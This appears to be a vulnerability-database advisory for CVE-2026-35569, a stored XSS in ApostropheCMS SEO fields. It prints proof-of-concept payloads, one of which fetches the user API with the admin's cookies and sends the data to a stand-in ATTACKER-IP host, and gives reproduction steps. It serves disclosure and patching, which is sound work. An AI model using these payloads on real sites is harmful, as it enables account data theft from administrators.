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CVE

CVE-2026-35569

Stored XSS in SEO Fields Leads to Authenticated API Data Exposure in ApostropheCMS
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CVE

CVE-2026-35569

Stored XSS in SEO Fields Leads to Authenticated API Data Exposure in ApostropheCMS

Summary

A stored cross-site scripting (XSS) vulnerability exists in SEO-related fields (SEO Title and Meta Description) in ApostropheCMS.

Improper neutralization of user-controlled input in SEO-related fields allows injection of arbitrary JavaScript into HTML contexts, resulting in stored cross-site scripting (XSS). This can be leveraged to perform authenticated API requests and exfiltrate sensitive data, resulting in a compromise of application confidentiality.

Affected Version

ApostropheCMS (tested on version: v4.28.0)

Vulnerability Details

User-controlled input in SEO fields is improperly handled and rendered into HTML contexts such as:

  • <title>
  • <meta> attributes
  • structured data (JSON-LD)

This allows attackers to inject and execute arbitrary JavaScript in the context of authenticated users.

PoC 1

The following payload demonstrates breaking out of HTML context:

"></title><script>alert(1)</script>

This confirms:

  • Improper output encoding
  • Ability to escape <title> / <meta> contexts
  • Arbitrary script execution

PoC 2

This PoC demonstrates how the stored XSS can be leveraged to perform authenticated API requests and exfiltrate sensitive data.

"></title><script>
fetch('/api/v1/@apostrophecms/user', {
  credentials:'include'
})
.then(r=>r.text())
.then(d=>{
  fetch('http://ATTACKER-IP:5656/?data='+btoa(d))
})
</script>

Video Proof of Concept

Watch the following YouTube video for a full demonstration of the exploit:

PoC Video: https://youtu.be/FZuulua_pa8

Steps to Reproduce

  1. Start a local listener: python3 -m http.server 5656
  2. Login to ApostropheCMS as an authenticated user
  3.  Create or edit a page
  4.  Navigate to SEO settings
  5.  Insert the payload into the SEO Title field  and  Meta Description
"></title><script>
fetch('/api/v1/@apostrophecms/user',{
  credentials:'include'
})
.then(r=>r.text())
.then(d=>{
  fetch('http://ATTACKER-IP:5656/?data='+btoa(d))
})
</script>
  1.  Set Schema Type to "Web page"
  2.  Save and publish the page
  3.  Have an administrator visit the page

Result

  • The payload executes in the admin’s browser
  • The script sends a request to: /api/v1/@apostrophecms/user
  • The response contains sensitive user data:
  • usernames
  • email addresses
  • roles (including admin)
  • The data is exfiltrated to the attacker-controlled server:
  • http://ATTACKER-IP:5656

Evidence

  • The attacker server receives:
  • GET /?data=BASE64ENCODEDRESPONSE
  • Decoding the response reveals sensitive application data.

Security Impact

This vulnerability allows an attacker to:

  • Execute arbitrary JavaScript in an authenticated admin context
  • Perform authenticated API requests (session riding)
  • Access sensitive application data via internal APIs
  • Exfiltrate sensitive data to an external attacker-controlled server

  

 ## References

  • Fix commit: https://github.com/apostrophecms/apostrophe/commit/0e57dd07a56ae1ba1e3af646ba026db4d0ab5bb3
  • https://www.cve.org/CVERecord?id=CVE-2026-35569
  • https://nvd.nist.gov/vuln/detail/CVE-2026-35569
  • https://github.com/Chittu13/cve-research/tree/main/CVE-2026-35569

Package Versions Affected

Package Version
patch Availability
No items found.

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CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
8.7
-
3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
C
H
U
0
-
3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
C
H
U
8.7
-
3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Related Resources

No items found.

References

https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-855c-r2vq-c292, https://nvd.nist.gov/vuln/detail/CVE-2026-35569, https://github.com/apostrophecms/apostrophe/commit/0e57dd07a56ae1ba1e3af646ba026db4d0ab5bb3, https://github.com/Chittu13/cve-research/tree/main/CVE-2026-35569, https://github.com/apostrophecms/apostrophe

Severity

8.7

CVSS Score
0
10

Basic Information

Ecosystem
Base CVSS
8.7
EPSS Probability
0.00037%
EPSS Percentile
0.1145%
Introduced Version
0,4.20.0,1.4.0
Fix Available
4.29.0,1.4.2

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